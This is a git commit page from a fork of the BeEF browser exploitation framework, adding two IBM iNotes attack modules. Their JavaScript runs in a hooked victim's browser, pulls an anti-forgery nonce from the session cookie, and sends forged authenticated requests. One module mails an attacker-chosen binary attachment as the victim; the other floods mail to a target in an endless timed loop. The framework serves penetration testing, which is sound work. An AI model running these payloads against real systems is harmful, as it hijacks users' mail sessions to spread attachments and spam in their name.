Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge pull request #1102 from bmantra/master

Browse Source 
add iNotes modules for sending mails with attachments and a flooder
This commit is contained in:
bmantra
2015-03-28 20:48:17 +01:00
parent 791c9d1461 46113db2b8
commit 86f99d5a51
6 changed files with 281 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

54
modules/misc/ibm_inotes/inotes_flooder/command.js Normal file
View File

@@ -0,0 +1,54 @@
//
// Copyright (c) 2006-2015 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var to = "<%= CGI::escape(@to) %>";
var subject = "<%= CGI::escape(@subject) %>";
var body = "<%= CGI::escape(@body) %>";
var delay = "<% @delay %>";
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');
(function flood() {
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
xhr.send(post_data);
setTimeout( flood, delay );
})();
});

25
modules/misc/ibm_inotes/inotes_flooder/config.yaml Normal file
View File

@@ -0,0 +1,25 @@
#
# Copyright (c) 2006-2015 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
inotes_flooder:
enable: true
category: ["Misc","IBM iNotes"]
name: "Flooder"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to flood notes to someone."
authors: ["Bart Leppens"]
target:
working: ['ALL']

30
modules/misc/ibm_inotes/inotes_flooder/module.rb Normal file
View File

@@ -0,0 +1,30 @@
#
# Copyright (c) 2006-2015 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Inotes_flooder < BeEF::Core::Command
def self.options
return [
{'type' => 'label', 'html' => 'Send a note to someone with an attachment:' },
{'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => ''},
{'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => ''},
{'name'=>'body', 'ui_label' => 'Body', 'type'=>'textarea', 'value'=>''},
{'type' => 'textfield', 'name' => 'delay', 'ui_label' => 'Delay (ms)', 'value' => '100'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end

115
modules/misc/ibm_inotes/send_inotes_with_attachment/command.js Normal file
View File

@@ -0,0 +1,115 @@
//
// Copyright (c) 2006-2015 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var to = "<%= @to %>";
var subject = "<%= @subject.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";
var body = "<%= @body.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";
var filename = "<%= @filename %>";
var filedata = "<%= @filedata %>";
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
var boundary = "---------------------------32162600713994";
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
var post_data = boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";
post_data += "\r\n";
post_data += nonce + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";
post_data += "\r\n";
post_data += "h_Next\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";
post_data += "\r\n";
post_data += "[[./&Form=l_CallListener]]\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";
post_data += "\r\n";
post_data += "h_ShimmerSendMail\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";
post_data += "\r\n";
post_data += to + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";
post_data += "\r\n";
post_data += body + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";
post_data += "\r\n";
post_data += "Memo\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";
post_data += "\r\n";
post_data += "0\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";
post_data += "\r\n";
post_data += subject + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";
post_data += "\r\n";
post_data += filedata + "\r\n";
post_data += boundary + "--";
xhr.sendAsBinary(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
});

26
modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml Normal file
View File

@@ -0,0 +1,26 @@
#
# Copyright (c) 2006-2015 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
send_inotes_with_attachment:
enable: true
category: ["Misc","IBM iNotes"]
name: "Send iNotes with attachment"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to send a note to someone with a binary attachment."
authors: ["Bart Leppens"]
target:
working: ["FF","C"]
not_working: ["All"]

31
modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb Normal file
View File

File diff suppressed because one or more lines are too long